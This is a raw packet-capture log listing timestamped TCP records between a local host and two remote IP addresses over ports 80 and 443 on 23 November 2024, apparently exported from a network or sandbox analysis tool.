Nov 23, 2024 18:22:20.892849922 CET	443	49781	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:20.933152914 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.933259010 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.933312893 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.933444977 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.933572054 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.933619976 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.934230089 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.934277058 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.934371948 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.934421062 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.934895039 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.934940100 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.935009956 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.935055971 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.935636997 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.935682058 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.935771942 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.935817003 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.936378956 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.936425924 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.936485052 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.936530113 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.937107086 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.937150002 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.937233925 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.937280893 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.937824011 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.937941074 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.937985897 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.939407110 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.939454079 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.939457893 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.939471006 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.939506054 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.939508915 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.939548969 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.940026045 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.940074921 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.940128088 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.940169096 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.940812111 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.940829039 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.940856934 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.940881968 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.941490889 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.941591978 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.941637993 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.942234993 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.942292929 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.942361116 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.942411900 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.942961931 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.943006992 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.943089008 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.943134069 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.943687916 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.943732023 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.943810940 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.943854094 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.944428921 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.944576025 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.944626093 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.945141077 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.945189953 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.945264101 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.945312977 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.945868969 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.945914984 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.945986032 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.946036100 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.946619987 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.946666002 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.946741104 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.946784019 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.947335005 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.947382927 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.947449923 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.947498083 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.948081970 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.948128939 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.948205948 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.948257923 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.948843956 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.948890924 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.948940039 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.948986053 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.949551105 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.949661970 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.949707985 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.950278044 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.950325012 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.950402021 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.950535059 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.951087952 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.951141119 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.951162100 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.951206923 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.951754093 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.951798916 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.951838017 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.951881886 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.952455997 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.952507973 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.952533960 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.952579021 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.953186989 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.953232050 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.953309059 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.953358889 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.953917980 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.953995943 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.954042912 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.954663038 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.954705954 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.954773903 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.954813004 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.955390930 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.955451012 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.955486059 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.955526114 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.956100941 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.956149101 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.956223965 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.956262112 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.956877947 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.956924915 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.957010984 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.957057953 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.957649946 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.957732916 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.957782984 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.958302975 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.958348989 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.958432913 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.958478928 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.959053993 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.959105968 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.959146023 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.959197998 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.959775925 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.959820032 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.959891081 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.959933043 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.960505009 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.960625887 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.960675955 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.961220980 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.961271048 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.961333990 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.961380959 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.961955070 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.962002993 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.962083101 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.962126970 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.962687016 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.962732077 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.962794065 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.962838888 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.963416100 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.963469028 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.963530064 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.963573933 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.964143038 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.964186907 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.964265108 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.964314938 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.964878082 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.964922905 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.964987993 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.965029955 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.965611935 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.965744019 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.965794086 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.966346979 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.966397047 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.966633081 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.966681004 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.967073917 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.967116117 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.967176914 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.967220068 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.967792034 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.967833996 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.967900038 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.967942953 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.968538046 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.968589067 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:20.968610048 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:20.968655109 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.092475891 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.092494011 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.092571020 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.092618942 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.092684984 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.092777967 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.092818975 CET	443	49780	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:21.092839956 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.092974901 CET	443	49780	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:21.093050957 CET	49780	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:21.093152046 CET	49780	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:21.093209982 CET	443	49780	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:21.093245029 CET	49780	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:21.093261957 CET	443	49780	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:21.093332052 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.093492985 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.093554020 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.094187021 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.094248056 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.096081018 CET	49786	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:21.096117973 CET	443	49786	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:21.096214056 CET	49786	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:21.096386909 CET	49786	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:21.096402884 CET	443	49786	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:21.135159016 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.135174990 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.135257006 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.135390997 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.135402918 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.135453939 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.135682106 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.135756016 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.135799885 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.136243105 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.136290073 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.136306047 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.136346102 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.136797905 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.136848927 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.136878967 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.137490988 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.137520075 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.137564898 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.137651920 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.137762070 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.138246059 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.138299942 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.138359070 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.138396025 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.138968945 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.139027119 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.139070034 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.139111042 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.139693975 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.139744043 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.139794111 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.140438080 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.140500069 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.140533924 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.140583038 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.141187906 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.141288996 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.141336918 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.141904116 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.141944885 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.142071009 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.142123938 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.142625093 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.142680883 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.142771006 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.142817020 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.143358946 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.143408060 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.143459082 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.144082069 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.144128084 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.144191027 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.144233942 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.144861937 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.144912004 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.144931078 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.144973040 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.145585060 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.145632029 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.145661116 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.145747900 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.146311045 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.146401882 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.146447897 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.147027969 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.147075891 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.147099972 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.147152901 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.147722006 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.147839069 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.147881985 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.148482084 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.148581028 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.148627996 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.149189949 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.149235010 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.149300098 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.149350882 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.150022984 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.150068045 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.150100946 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.150141954 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.150650024 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.150695086 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.150765896 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.150811911 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.151391983 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.151460886 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.151597977 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.152226925 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.152271986 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.152288914 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.152332067 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.152854919 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.152899027 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.152987003 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.153031111 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.153759003 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.153846025 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.153867960 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.153884888 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.154318094 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.154370070 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.154408932 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.154458046 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.155052900 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.155102015 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.155208111 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.155262947 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.155791044 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.155855894 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.155894995 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.156512976 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.156572104 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.156601906 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.156646013 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.157227993 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.157274961 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.157346964 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.157392025 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.157987118 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.158046007 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.158083916 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:21.158132076 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:21.158718109 CET	80	49779	185.215.113.16	192.168.2.4
